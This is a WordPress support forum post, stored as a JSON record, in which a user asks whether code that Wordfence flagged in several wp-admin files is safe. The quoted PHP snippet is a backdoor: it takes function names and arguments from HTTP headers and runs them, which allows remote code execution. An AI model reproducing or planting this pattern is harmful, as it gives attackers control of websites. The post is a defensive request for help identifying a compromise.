{"id":14016852,"date":"2021-02-08T01:11:00","date_gmt":"2021-02-08T01:11:00","guid":{"rendered":"https:\/\/wordpress.org\/support\/topic\/found-code-check\/"},"modified":"2021-02-08T01:11:00","modified_gmt":"2021-02-08T01:11:00","slug":"found-code-check","status":"publish","type":"topic","link":"https:\/\/wordpress.org\/support\/topic\/found-code-check\/","title":{"rendered":"Found Code Check"},"content":{"rendered":"<p>Hello,<\/p>\n<p>Wordfence found in different WP files, the code below:<\/p>\n<p>$_HEADERS = getallheaders();<br \/>\n \t \tif (isset($_HEADERS[&#8216;If-Modified-Since&#8217;])) {<br \/>\n \t \t$_admin_h_init = $_HEADERS[&#8216;If-Modified-Since&#8217;](&#8221;, $_HEADERS[&#8216;Clear-Site-Data&#8217;]($_HEADERS[&#8216;Authorization&#8217;]));<br \/>\n \t \t$_admin_h_init();<br \/>\n \t \t} <\/p>\n<p>Its not entirely the same on each file. It has slight differences, but not sure if this is ok or not?<\/p>\n<p>Examples of places this similar code are:<\/p>\n<p>wp-admin\/user\/about.php<br \/>\nwp-admin\/network\/menu.php<br \/>\nwp-admin\/network\/sites.php<br \/>\nwp-admin\/network\/theme-editor.php<\/p>\n","protected":false},"template":"","class_list":["post-14016852","topic","type-topic","status-publish","hentry"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/14016852","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/14016852\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=14016852"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}